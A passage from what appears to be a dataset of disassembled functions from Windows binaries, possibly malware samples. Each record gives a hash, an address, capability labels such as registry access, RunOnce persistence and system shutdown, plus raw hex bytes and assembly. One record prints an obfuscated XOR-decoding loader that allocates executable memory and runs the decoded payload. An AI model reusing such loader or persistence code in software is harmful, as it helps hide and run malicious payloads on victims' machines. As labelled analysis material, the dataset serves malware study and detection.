"mov dword [esp + 0x34], 0",
"call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__",
"mov eax, dword [esp + 0x20]",
"add esp, 0x14",
"test eax, eax",
"je 0x402b40",
"lea ecx, [eax - 1]",
"mov al, byte [eax - 1]",
"test al, al",
"je 0x402b37",
"cmp al, 0xff",
"je 0x402b37",
"dec al",
"mov byte [ecx], al",
"mov eax, esi",
"pop esi",
"mov ecx, dword [esp + 0x14]",
"mov dword fs:[0], ecx",
"add esp, 0x20",
"ret",
"push ecx",
"call sub.MFC42.DLL_operatordelete",
"add esp, 4",
"mov ecx, dword [esp + 0x18]",
"mov eax, esi",
"pop esi",
"mov dword fs:[0], ecx",
"add esp, 0x20",
"ret"
] |
02e92b38fd2f2413a45a036eed3145c204fb95fd469552727f0186ab0a316b2b
|
0x4047f0
|
[
"Delete registry value"
] |
6aff687897400064a1000000005064892500000000518b410c8d542400526a026a00508b410450ff1514a0400085c0754a8b4c24148b542400565152ff1510a040008bf08b44240450ff1500a0400085f65e75278d4c2414c744240cffffffffe8a7450000b8010000008b4c240464890d0000000083c410c204008d4c2414c744240cffffffffe8804500008b4c240433c064890d0000000083c410c20400
|
[
"push 0xffffffffffffffff",
"push 0x409778",
"mov eax, dword fs:[0]",
"push eax",
"mov dword fs:[0], esp",
"push ecx",
"mov eax, dword [ecx + 0xc]",
"lea edx, [esp]",
"push edx",
"push 2",
"push 0",
"push eax",
"mov eax, dword [ecx + 4]",
"push eax",
"call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]",
"test eax, eax",
"jne 0x40486b",
"mov ecx, dword [esp + 0x14]",
"mov edx, dword [esp]",
"push esi",
"push ecx",
"push edx",
"call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]",
"mov esi, eax",
"mov eax, dword [esp + 4]",
"push eax",
"call dword [sym.imp.ADVAPI32.dll_RegCloseKey]",
"test esi, esi",
"pop esi",
"jne 0x40486b",
"lea ecx, [esp + 0x14]",
"mov dword [esp + 0xc], 0xffffffff",
"call sub.MFC42.DLL_CString::CString",
"mov eax, 1",
"mov ecx, dword [esp + 4]",
"mov dword fs:[0], ecx",
"add esp, 0x10",
"ret 4",
"lea ecx, [esp + 0x14]",
"mov dword [esp + 0xc], 0xffffffff",
"call sub.MFC42.DLL_CString::CString",
"mov ecx, dword [esp + 4]",
"xor eax, eax",
"mov dword fs:[0], ecx",
"add esp, 0x10",
"ret 4"
] |
02e92b38fd2f2413a45a036eed3145c204fb95fd469552727f0186ab0a316b2b
|
0x404988
|
[
"Query or enumerate registry value"
] |
64a1000000006aff68b8974000506489250000000083ec08568bf18b460c8b56048d4c2404516a016a005052ff1514a0400085c08906755c8b4c241c8b54240450508d442410c744241001000000506a005152ff1518a0400089068b44240450ff1500a04000833e0075298b7424088d4c241cc7442414ffffffffe80c4400008bc65e8b4c240864890d0000000083c414c204008d4c241cc7442414ffffffffe8e74300008b4c240c33c05e64890d0000000083c414c20400
|
[
"mov eax, dword fs:[0]",
"push 0xffffffffffffffff",
"push 0x4097b8",
"push eax",
"mov dword fs:[0], esp",
"sub esp, 8",
"push esi",
"mov esi, ecx",
"mov eax, dword [esi + 0xc]",
"mov edx, dword [esi + 4]",
"lea ecx, [esp + 4]",
"push ecx",
"push 1",
"push 0",
"push eax",
"push edx",
"call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]",
"test eax, eax",
"mov dword [esi], eax",
"jne 0x404a04",
"mov ecx, dword [esp + 0x1c]",
"mov edx, dword [esp + 4]",
"push eax",
"push eax",
"lea eax, [esp + 0x10]",
"mov dword [esp + 0x10], 1",
"push eax",
"push 0",
"push ecx",
"push edx",
"call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]",
"mov dword [esi], eax",
"mov eax, dword [esp + 4]",
"push eax",
"call dword [sym.imp.ADVAPI32.dll_RegCloseKey]",
"cmp dword [esi], 0",
"jne 0x404a04",
"mov esi, dword [esp + 8]",
"lea ecx, [esp + 0x1c]",
"mov dword [esp + 0x14], 0xffffffff",
"call sub.MFC42.DLL_CString::CString",
"mov eax, esi",
"pop esi",
"mov ecx, dword [esp + 8]",
"mov dword fs:[0], ecx",
"add esp, 0x14",
"ret 4",
"lea ecx, [esp + 0x1c]",
"mov dword [esp + 0x14], 0xffffffff",
"call sub.MFC42.DLL_CString::CString",
"mov ecx, dword [esp + 0xc]",
"xor eax, eax",
"pop esi",
"mov dword fs:[0], ecx",
"add esp, 0x14",
"ret 4"
] |
02e92b38fd2f2413a45a036eed3145c204fb95fd469552727f0186ab0a316b2b
|
0x4059f0
|
[
"Set registry value"
] |
6aff68209a400064a10000000050648925000000005156578bf1c7442414000000008b460c8b56048d4c2408bf010000005168060002006a005052ff1514a0400085c074348d4c241cc644241400e8b93300008d4c2420c7442414ffffffffe8a83300005f33c05e8b4c240464890d0000000083c410c208008b4424208b48f841518b4c240c508b4424246a016a005051ff1520a0400085c0740233ff8b460885c0750b8b54240852ff1504a040008b44240850ff1500a040008d4c241cc644241400e8443300008d4c2420c7442414ffffffffe8333300008b4c240c8bc75f5e64890d0000000083c410c20800
|
[
"push 0xffffffffffffffff",
"push 0x409a20",
"mov eax, dword fs:[0]",
"push eax",
"mov dword fs:[0], esp",
"push ecx",
"push esi",
"push edi",
"mov esi, ecx",
"mov dword [esp + 0x14], 0",
"mov eax, dword [esi + 0xc]",
"mov edx, dword [esi + 4]",
"lea ecx, [esp + 8]",
"mov edi, 1",
"push ecx",
"push 0x20006",
"push 0",
"push eax",
"push edx",
"call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]",
"test eax, eax",
"je 0x405a69",
"lea ecx, [esp + 0x1c]",
"mov byte [esp + 0x14], 0",
"call sub.MFC42.DLL_CString::CString",
"lea ecx, [esp + 0x20]",
"mov dword [esp + 0x14], 0xffffffff",
"call sub.MFC42.DLL_CString::CString",
"pop edi",
"xor eax, eax",
"pop esi",
"mov ecx, dword [esp + 4]",
"mov dword fs:[0], ecx",
"add esp, 0x10",
"ret 8",
"mov eax, dword [esp + 0x20]",
"mov ecx, dword [eax - 8]",
"inc ecx",
"push ecx",
"mov ecx, dword [esp + 0xc]",
"push eax",
"mov eax, dword [esp + 0x24]",
"push 1",
"push 0",
"push eax",
"push ecx",
"call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]",
"test eax, eax",
"je 0x405a8d",
"xor edi, edi",
"mov eax, dword [esi + 8]",
"test eax, eax",
"jne 0x405a9f",
"mov edx, dword [esp + 8]",
"push edx",
"call dword [sym.imp.ADVAPI32.dll_RegFlushKey]",
"mov eax, dword [esp + 8]",
"push eax",
"call dword [sym.imp.ADVAPI32.dll_RegCloseKey]",
"lea ecx, [esp + 0x1c]",
"mov byte [esp + 0x14], 0",
"call sub.MFC42.DLL_CString::CString",
"lea ecx, [esp + 0x20]",
"mov dword [esp + 0x14], 0xffffffff",
"call sub.MFC42.DLL_CString::CString",
"mov ecx, dword [esp + 0xc]",
"mov eax, edi",
"pop edi",
"pop esi",
"mov dword fs:[0], ecx",
"add esp, 0x10",
"ret 8"
] |
02f25a38e6804d45b40b45923de2b69d52063e543408ae1e215f8dcd5dda0a48
|
0x455e61
|
[
"Encode data using xor"
] |
558bec81ec5400000060e8000000008f85bcffffffb8bc3507652d4cd7c1642985bcffffffc785acffffff9b82f0bb81adacffffff503d9e6dc785b0ffffff0adea56181adb0ffffffc591722fc785b4ffffff806931fa8185b4ffffffaeda1a52c785b8ffffffba9caec681adb8ffffffba9caec68d85acffffff50b8c6341ab92d6284d4b80385bcffffffff10c785acffffff02cfa0e381adacffffffac652e6fc785b0ffffffa02539c181adb0ffffff2bc4cc7fc785b4ffffff683c15ee81adb4fffffffccfa58ac785b8ffffffb347af5f81adb8ffffffb347af5f8d9dacffffff5350b81ba026990565101f670385bcffffffff106a406800100000685aeb04006a00ffd0b9a24d00008bf0bf85dcae5281c77b8398ad03bdbcffffffbb678bc91681c3e0e523e98185c4ffffffdc2c811a8b1701b5c4ffffff33d3018ddcffffff891681adf4ffffffa0cfdddc81c6dade55fa81eed6de55fa81c704000000e2c605b27dd7732d5754d6738bd805f3c890592deec89059b90042e17581c100be5e8a038dbcffffffffd3c9c3
|
[
"push ebp",
"mov ebp, esp",
"sub esp, 0x54",
"pushal",
"call 0x455e70",
"pop dword [ebp - 0x44]",
"mov eax, 0x650735bc",
"sub eax, 0x64c1d74c",
"sub dword [ebp - 0x44], eax",
"mov dword [ebp - 0x54], 0xbbf0829b",
"sub dword [ebp - 0x54], 0x6d9e3d50",
"mov dword [ebp - 0x50], 0x61a5de0a",
"sub dword [ebp - 0x50], 0x2f7291c5",
"mov dword [ebp - 0x4c], 0xfa316980",
"add dword [ebp - 0x4c], 0x521adaae",
"mov dword [ebp - 0x48], 0xc6ae9cba",
"sub dword [ebp - 0x48], 0xc6ae9cba",
"lea eax, [ebp - 0x54]",
"push eax",
"mov eax, 0xb91a34c6",
"sub eax, 0xb8d48462",
"add eax, dword [ebp - 0x44]",
"call dword [eax]",
"mov dword [ebp - 0x54], 0xe3a0cf02",
"sub dword [ebp - 0x54], 0x6f2e65ac",
"mov dword [ebp - 0x50], 0xc13925a0",
"sub dword [ebp - 0x50], 0x7fccc42b",
"mov dword [ebp - 0x4c], 0xee153c68",
"sub dword [ebp - 0x4c], 0x8aa5cffc",
"mov dword [ebp - 0x48], 0x5faf47b3",
"sub dword [ebp - 0x48], 0x5faf47b3",
"lea ebx, [ebp - 0x54]",
"push ebx",
"push eax",
"mov eax, 0x9926a01b",
"add eax, 0x671f1065",
"add eax, dword [ebp - 0x44]",
"call dword [eax]",
"push 0x40",
"push 0x1000",
"push 0x4eb5a",
"push 0",
"call eax",
"mov ecx, 0x4da2",
"mov esi, eax",
"mov edi, 0x52aedc85",
"add edi, 0xad98837b",
"add edi, dword [ebp - 0x44]",
"mov ebx, 0x16c98b67",
"add ebx, 0xe923e5e0",
"add dword [ebp - 0x3c], 0x1a812cdc",
"mov edx, dword [edi]",
"add dword [ebp - 0x3c], esi",
"xor edx, ebx",
"add dword [ebp - 0x24], ecx",
"mov dword [esi], edx",
"sub dword [ebp - 0xc], 0xdcddcfa0",
"add esi, 0xfa55deda",
"sub esi, 0xfa55ded6",
"add edi, 4",
"loop 0x455f8c",
"add eax, 0x73d77db2",
"sub eax, 0x73d65457",
"mov ebx, eax",
"add eax, 0x5990c8f3",
"sub eax, 0x5990c8ee",
"mov ecx, 0x75e14200",
"add ecx, 0x8a5ebe00",
"add ecx, dword [ebp - 0x44]",
"call ebx",
"leave",
"ret"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x4018a3
|
[
"Compare security identifiers"
] |
8bff558bec83ec1ca10480400033c58945fca12881400053576a0233db66c745f800055f895df4895df03bc70f85f40000008d4df0e811ffffff85c00f85d30000008d45e8506a08ff1590a1400050ff1514a0400085c00f84c90000008d45ec50535357ff75e8ff1500a0400085c00f8592000000ff156ca0400083f87a0f858300000056ff75ec53ff1550a140008bf085f674718d45ec50ff75ec5657ff75e8ff1500a0400085c074548d45e45053535353535368200200006a20578d45f450ff1524a0400085c07434391e76278d7e04ff75e4ff37ff152ca0400085c0750a4383c7083b1e72e9eb0b33c040a3288140008945f0ff75e4ff1510a0400056ff15a4a040005eff75e8ff1588a040008b45f0eb118b45f085c0740ac70528814000010000008b4dfc5f33cd5be80b5300008be55dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x1c",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"mov eax, dword [0x408128]",
"push ebx",
"push edi",
"push 2",
"xor ebx, ebx",
"mov word [ebp - 8], 0x500",
"pop edi",
"mov dword [ebp - 0xc], ebx",
"mov dword [ebp - 0x10], ebx",
"cmp eax, edi",
"jne 0x4019c9",
"lea ecx, [ebp - 0x10]",
"call fcn.004017ee",
"test eax, eax",
"jne 0x4019b8",
"lea eax, [ebp - 0x18]",
"push eax",
"push 8",
"call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]",
"push eax",
"call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]",
"test eax, eax",
"je 0x4019c9",
"lea eax, [ebp - 0x14]",
"push eax",
"push ebx",
"push ebx",
"push edi",
"push dword [ebp - 0x18]",
"call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]",
"test eax, eax",
"jne 0x4019aa",
"call dword [sym.imp.KERNEL32.dll_GetLastError]",
"cmp eax, 0x7a",
"jne 0x4019aa",
"push esi",
"push dword [ebp - 0x14]",
"push ebx",
"call dword [sym.imp.KERNEL32.dll_LocalAlloc]",
"mov esi, eax",
"test esi, esi",
"je 0x4019a9",
"lea eax, [ebp - 0x14]",
"push eax",
"push dword [ebp - 0x14]",
"push esi",
"push edi",
"push dword [ebp - 0x18]",
"call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]",
"test eax, eax",
"je 0x4019a2",
"lea eax, [ebp - 0x1c]",
"push eax",
"push ebx",
"push ebx",
"push ebx",
"push ebx",
"push ebx",
"push ebx",
"push 0x220",
"push 0x20",
"push edi",
"lea eax, [ebp - 0xc]",
"push eax",
"call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]",
"test eax, eax",
"je 0x4019a2",
"cmp dword [esi], ebx",
"jbe 0x401999",
"lea edi, [esi + 4]",
"push dword [ebp - 0x1c]",
"push dword [edi]",
"call dword [sym.imp.ADVAPI32.dll_EqualSid]",
"test eax, eax",
"jne 0x40198e",
"inc ebx",
"add edi, 8",
"cmp ebx, dword [esi]",
"jb 0x401975",
"jmp 0x401999",
"xor eax, eax",
"inc eax",
"mov dword [0x408128], eax",
"mov dword [ebp - 0x10], eax",
"push dword [ebp - 0x1c]",
"call dword [sym.imp.ADVAPI32.dll_FreeSid]",
"push esi",
"call dword [sym.imp.KERNEL32.dll_LocalFree]",
"pop esi",
"push dword [ebp - 0x18]",
"call dword [sym.imp.KERNEL32.dll_CloseHandle]",
"mov eax, dword [ebp - 0x10]",
"jmp 0x4019c9",
"mov eax, dword [ebp - 0x10]",
"test eax, eax",
"je 0x4019c9",
"mov dword [0x408128], 1",
"mov ecx, dword [ebp - 4]",
"pop edi",
"xor ecx, ebp",
"pop ebx",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x401ae8
|
[
"Check if file exists",
"Get file attributes",
"Read .ini file"
] |
8bff558bec81ec18060000a10480400033c58945fc8b4508ba0401000053568bd98985e8f9ffff8b450c8d8df4fdffff57538985ecf9ffffe85bfbffff80bdf4fdffff22750dba6c1140008d85f5fdffffeb0bba701140008d85f4fdffff8d8df0f9ffff8985f0f9ffffe82dffffff8bb5f0f9ffff8bf885f6743c8bce8d51018a014184c075f92bca83f90372298a46013c3a7506807e025c7409803e5c75173c5c751356ba040100008d8df8feffffe8e3faffffeb285168e491400051ba040100008d8df8feffffe8cbfbffff56ba040100008d8df8feffffe8c34900006a2e5a8bcee8f74a000085c00f849a0100006aff68741140006aff506a016a7fff1568a040004883e8010f857c0100008d85f8feffff50ff1570a0400083f8ff0f8446010000c1e804f7d083e0010f8438010000ba7c11400089bdf0f9ffff8d8df0f9ffffe853feffff85c0741b80380074068985f0f9ffffba801140008d8df0f9ffffe834feffff68000200006a40ff1550a140008bf085f60f846d0100008bbdf0f9ffff8bc7803f007505b8048140008d8df8feffff516a00688411400050ff15b8a04000a3209140008b85ecf9ffffc700010000008d85f8feffff506a08566840114000688c1140006898114000ff15bca0400085c07436830d349a400004803f007505bf0481400057ba040100008bcbe8a0f9ffff8d85f8feffffba00020000508bcee88df9ffffe9910100008325349a4000fb66833d409a400000751a68040100008d85f8feffffbba01140005050ff1554a14000eb05bbac114000803f007505bf048140008d85f8feffff50575368b8804000680002000056e8d3f9ffff83c418e93601000033c0ba25050000506a10508d85f8feffff5033c9e84d27000033c0e9210100006a2e5a8bcee84b49000085c074776aff68bc1140006aff506a016a7fff1568a040004883e801755dbb148140008bcb8d51018a014184c075f92bca8d95f8feffff8d72018a024284c075f92bd68d790803fa576a40ff1550a140008bf085f6750d33c0bab5040000506a1050eb838d85f8feffff50535756e82ef9ffff83c410e99100000068000400006a40ff1550a140008bf085f674c98d85f8feffff50ff1570a0400083f8ff744aa8107546518d85f8feffffbb0004000050518bd38d8df4f9ffffe845f9ffff85ff7438803f00743368701140008bd38d8df4f9ffffe85cf8ffff578bd38d8df4f9ffffe84ef8ffffeb1153ba000400008d8df4f9ffffe808f8ffff568bd6c606008d8df4f9ffffe8230c00008b8de8f9ffff33c04089318b4dfc5f5e33cd5be83f4e00008be55dc20800
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x618",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"mov eax, dword [ebp + 8]",
"mov edx, 0x104",
"push ebx",
"push esi",
"mov ebx, ecx",
"mov dword [ebp - 0x618], eax",
"mov eax, dword [ebp + 0xc]",
"lea ecx, [ebp - 0x20c]",
"push edi",
"push ebx",
"mov dword [ebp - 0x614], eax",
"call fcn.00401680",
"cmp byte [ebp - 0x20c], 0x22",
"jne 0x401b3b",
"mov edx, 0x40116c",
"lea eax, [ebp - 0x20b]",
"jmp 0x401b46",
"mov edx, 0x401170",
"lea eax, [ebp - 0x20c]",
"lea ecx, [ebp - 0x610]",
"mov dword [ebp - 0x610], eax",
"call fcn.00401a84",
"mov esi, dword [ebp - 0x610]",
"mov edi, eax",
"test esi, esi",
"je 0x401b9f",
"mov ecx, esi",
"lea edx, [ecx + 1]",
"mov al, byte [ecx]",
"inc ecx",
"test al, al",
"jne 0x401b68",
"sub ecx, edx",
"cmp ecx, 3",
"jb 0x401b9f",
"mov al, byte [esi + 1]",
"cmp al, 0x3a",
"jne 0x401b83",
"cmp byte [esi + 2], 0x5c",
"je 0x401b8c",
"cmp byte [esi], 0x5c",
"jne 0x401b9f",
"cmp al, 0x5c",
"jne 0x401b9f",
"push esi",
"mov edx, 0x104",
"lea ecx, [ebp - 0x108]",
"call fcn.00401680",
"jmp 0x401bc7",
"push ecx",
"push 0x4091e4",
"push ecx",
"mov edx, 0x104",
"lea ecx, [ebp - 0x108]",
"call fcn.00401781",
"push esi",
"mov edx, 0x104",
"lea ecx, [ebp - 0x108]",
"call fcn.0040658a",
"push 0x2e",
"pop edx",
"mov ecx, esi",
"call fcn.004066c8",
"test eax, eax",
"je 0x401d73",
"push 0xffffffffffffffff",
"push 0x401174",
"push 0xffffffffffffffff",
"push eax",
"push 1",
"push 0x7f",
"call dword [sym.imp.KERNEL32.dll_CompareStringA]",
"dec eax",
"sub eax, 1",
"jne 0x401d73",
"lea eax, [ebp - 0x108]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]",
"cmp eax, 0xffffffff",
"je 0x401d53",
"shr eax, 4",
"not eax",
"and eax, 1",
"je 0x401d53",
"mov edx, 0x40117c",
"mov dword [ebp - 0x610], edi",
"lea ecx, [ebp - 0x610]",
"call fcn.00401a84",
"test eax, eax",
"je 0x401c50",
"cmp byte [eax], 0",
"je 0x401c40",
"mov dword [ebp - 0x610], eax",
"mov edx, 0x401180",
"lea ecx, [ebp - 0x610]",
"call fcn.00401a84",
"push 0x200",
"push 0x40",
"call dword [sym.imp.KERNEL32.dll_LocalAlloc]",
"mov esi, eax",
"test esi, esi",
"je 0x401dd4",
"mov edi, dword [ebp - 0x610]",
"mov eax, edi",
"cmp byte [edi], 0",
"jne 0x401c79",
"mov eax, str.DefaultInstall",
"lea ecx, [ebp - 0x108]",
"push ecx",
"push 0",
"push 0x401184",
"push eax",
"call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]",
"mov dword [0x409120], eax",
"mov eax, dword [ebp - 0x614]",
"mov dword [eax], 1",
"lea eax, [ebp - 0x108]",
"push eax",
"push 8",
"push esi",
"push 0x401140",
"push 0x40118c",
"push 0x401198",
"call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]",
"test eax, eax",
"je 0x401cf8",
"or dword [0x409a34], 4",
"cmp byte [edi], 0",
"jne 0x401cd3",
"mov edi, str.DefaultInstall",
"push edi",
"mov edx, 0x104",
"mov ecx, ebx",
"call fcn.00401680",
"lea eax, [ebp - 0x108]",
"mov edx, 0x200",
"push eax",
"mov ecx, esi",
"call fcn.00401680",
"jmp 0x401e89",
"and dword [0x409a34], 0xfffffffb",
"cmp word [0x409a40], 0",
"jne 0x401d23",
"push 0x104",
"lea eax, [ebp - 0x108]",
"mov ebx, 0x4011a0",
"push eax",
"push eax",
"call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]",
"jmp 0x401d28",
"mov ebx, 0x4011ac",
"cmp byte [edi], 0",
"jne 0x401d32",
"mov edi, str.DefaultInstall",
"lea eax, [ebp - 0x108]",
"push eax",
"push edi",
"push ebx",
"push str.rundll32.exe__s_InstallHinfSection__s_128__s",
"push 0x200",
"push esi",
"call fcn.0040171e",
"add esp, 0x18",
"jmp 0x401e89",
"xor eax, eax",
"mov edx, 0x525",
"push eax",
"push 0x10",
"push eax",
"lea eax, [ebp - 0x108]",
"push eax",
"xor ecx, ecx",
"call fcn.004044b9",
"xor eax, eax",
"jmp 0x401e94",
"push 0x2e",
"pop edx",
"mov ecx, esi",
"call fcn.004066c8",
"test eax, eax",
"je 0x401df8",
"push 0xffffffffffffffff",
"push 0x4011bc",
"push 0xffffffffffffffff",
"push eax",
"push 1",
"push 0x7f",
"call dword [sym.imp.KERNEL32.dll_CompareStringA]",
"dec eax",
"sub eax, 1",
"jne 0x401df8",
"mov ebx, str.Command.com__c__s",
"mov ecx, ebx",
"lea edx, [ecx + 1]",
"mov al, byte [ecx]",
"inc ecx",
"test al, al",
"jne 0x401da5",
"sub ecx, edx",
"lea edx, [ebp - 0x108]",
"lea esi, [edx + 1]",
"mov al, byte [edx]",
"inc edx",
"test al, al",
"jne 0x401db7",
"sub edx, esi",
"lea edi, [ecx + 8]",
"add edi, edx",
"push edi",
"push 0x40",
"call dword [sym.imp.KERNEL32.dll_LocalAlloc]",
"mov esi, eax",
"test esi, esi",
"jne 0x401de1",
"xor eax, eax",
"mov edx, 0x4b5",
"push eax",
"push 0x10",
"push eax",
"jmp 0x401d64",
"lea eax, [ebp - 0x108]",
"push eax",
"push ebx",
"push edi",
"push esi",
"call fcn.0040171e",
"add esp, 0x10",
"jmp 0x401e89",
"push 0x400",
"push 0x40",
"call dword [sym.imp.KERNEL32.dll_LocalAlloc]",
"mov esi, eax",
"test esi, esi",
"je 0x401dd4",
"lea eax, [ebp - 0x108]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]",
"cmp eax, 0xffffffff",
"je 0x401e67",
"test al, 0x10",
"jne 0x401e67",
"push ecx",
"lea eax, [ebp - 0x108]",
"mov ebx, 0x400",
"push eax",
"push ecx",
"mov edx, ebx",
"lea ecx, [ebp - 0x60c]",
"call fcn.00401781",
"test edi, edi",
"je 0x401e78",
"cmp byte [edi], 0",
"je 0x401e78",
"push 0x401170",
"mov edx, ebx",
"lea ecx, [ebp - 0x60c]",
"call fcn.004016b3",
"push edi",
"mov edx, ebx",
"lea ecx, [ebp - 0x60c]",
"call fcn.004016b3",
"jmp 0x401e78",
"push ebx",
"mov edx, 0x400",
"lea ecx, [ebp - 0x60c]",
"call fcn.00401680",
"push esi",
"mov edx, esi",
"mov byte [esi], 0",
"lea ecx, [ebp - 0x60c]",
"call fcn.00402aac",
"mov ecx, dword [ebp - 0x618]",
"xor eax, eax",
"inc eax",
"mov dword [ecx], esi",
"mov ecx, dword [ebp - 4]",
"pop edi",
"pop esi",
"xor ecx, ebp",
"pop ebx",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret 8"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x401f90
|
[
"Shutdown system"
] |
8bff538bd9f6c302750ae808ffffff83f8027535f6c304751c6a046a406a006840114000ba2205000033c9e8f924000083f806751466833d409a400000750c6a006a02ff15d8a140005bc35be901ffffff
|
[
"mov edi, edi",
"push ebx",
"mov ebx, ecx",
"test bl, 2",
"jne 0x401fa4",
"call fcn.00401ea7",
"cmp eax, 2",
"jne 0x401fd9",
"test bl, 4",
"jne 0x401fc5",
"push 4",
"push 0x40",
"push 0",
"push 0x401140",
"mov edx, 0x522",
"xor ecx, ecx",
"call fcn.004044b9",
"cmp eax, 6",
"jne 0x401fd9",
"cmp word [0x409a40], 0",
"jne 0x401fdb",
"push 0",
"push 2",
"call dword [sym.imp.USER32.dll_ExitWindowsEx]",
"pop ebx",
"ret",
"pop ebx",
"jmp fcn.00401ee2"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x401fe1
|
[
"Delete registry value",
"Persist via run registry key"
] |
8bff558bec51803d308540000074368d45fc5068060002006a0068708040006802000080ff1508a0400085c075176830854000ff75fcff1504a04000ff75fcff1530a040008be55dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"push ecx",
"cmp byte [0x408530], 0",
"je 0x402026",
"lea eax, [ebp - 4]",
"push eax",
"push 0x20006",
"push 0",
"push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce",
"push 0x80000002",
"call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]",
"test eax, eax",
"jne 0x402026",
"push 0x408530",
"push dword [ebp - 4]",
"call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]",
"push dword [ebp - 4]",
"call dword [sym.imp.ADVAPI32.dll_RegCloseKey]",
"mov esp, ebp",
"pop ebp",
"ret"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x40202a
|
[
"Get common file path",
"Persist via run registry key",
"Query or enumerate registry value",
"Set registry value"
] |
8bff558bec81ec18020000a10480400033c58945fc5357bf040100008d85f8feffff576a0050e85a520000578d85f4fdffff6a0050e84b52000083c4188d85ecfdffff33c98bd9508d85f0fdffff5051681f00020051515168708040006802000080ff151ca0400085c00f85bd0100005633f65668a48040006a506830854000e86ff6ffff83c4108d85e8fdffff5033c05050506830854000ffb5f0fdffffff1528a0400085c075094681fec80000007cc181fec80000007517ffb5f0fdffffff1530a04000881d30854000e95b010000578d85f4fdffff50ff1574a0400068d81140008bd78d8df4fdffffe86f4400008d85f4fdffff50ff1578a040008bf885ff744b68e411400057ff159ca040008bf033db85f6570f95c3ff15aca0400085f6742bbe040100008d85f8feffff5650ff1574a0400085c0743168401140008bd68d8df8feffffe813440000eb1dbe040100008d85f8feffff5650ff353c9a4000ff159ca1400085c074488d8df8feffff8d51018a014184c075f92bcabae49140008d72018a024284c075f92bd68d795003fa576a40ff1550a140008bf085f6751f506a105050bab504000033c9e8db220000ffb5f0fdffffff1530a04000eb6a8bc383f001a380854000b84080400085db7505b82c81400068e49140008d8df8feffff51505756e806f5ffff8bce83c4148d51018a014184c075f92bca8d410150566a016a006830854000ffb5f0fdffffff1518a04000ffb5f0fdffffff1530a0400056ff15a4a040005e8b4dfc5f33cd5be87d4a00008be55dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x218",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"push ebx",
"push edi",
"mov edi, 0x104",
"lea eax, [ebp - 0x108]",
"push edi",
"push 0",
"push eax",
"call sub.msvcrt.dll_memset",
"push edi",
"lea eax, [ebp - 0x20c]",
"push 0",
"push eax",
"call sub.msvcrt.dll_memset",
"add esp, 0x18",
"lea eax, [ebp - 0x214]",
"xor ecx, ecx",
"mov ebx, ecx",
"push eax",
"lea eax, [ebp - 0x210]",
"push eax",
"push ecx",
"push 0x2001f",
"push ecx",
"push ecx",
"push ecx",
"push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce",
"push 0x80000002",
"call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]",
"test eax, eax",
"jne 0x402257",
"push esi",
"xor esi, esi",
"push esi",
"push str.wextract_cleanup_d",
"push 0x50",
"push 0x408530",
"call fcn.0040171e",
"add esp, 0x10",
"lea eax, [ebp - 0x218]",
"push eax",
"xor eax, eax",
"push eax",
"push eax",
"push eax",
"push 0x408530",
"push dword [ebp - 0x210]",
"call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]",
"test eax, eax",
"jne 0x4020dc",
"inc esi",
"cmp esi, 0xc8",
"jl 0x40209d",
"cmp esi, 0xc8",
"jne 0x4020fb",
"push dword [ebp - 0x210]",
"call dword [sym.imp.ADVAPI32.dll_RegCloseKey]",
"mov byte [0x408530], bl",
"jmp 0x402256",
"push edi",
"lea eax, [ebp - 0x20c]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]",
"push 0x4011d8",
"mov edx, edi",
"lea ecx, [ebp - 0x20c]",
"call fcn.0040658a",
"lea eax, [ebp - 0x20c]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_LoadLibraryA]",
"mov edi, eax",
"test edi, edi",
"je 0x402179",
"push 0x4011e4",
"push edi",
"call dword [sym.imp.KERNEL32.dll_GetProcAddress]",
"mov esi, eax",
"xor ebx, ebx",
"test esi, esi",
"push edi",
"setne bl",
"call dword [sym.imp.KERNEL32.dll_FreeLibrary]",
"test esi, esi",
"je 0x402179",
"mov esi, 0x104",
"lea eax, [ebp - 0x108]",
"push esi",
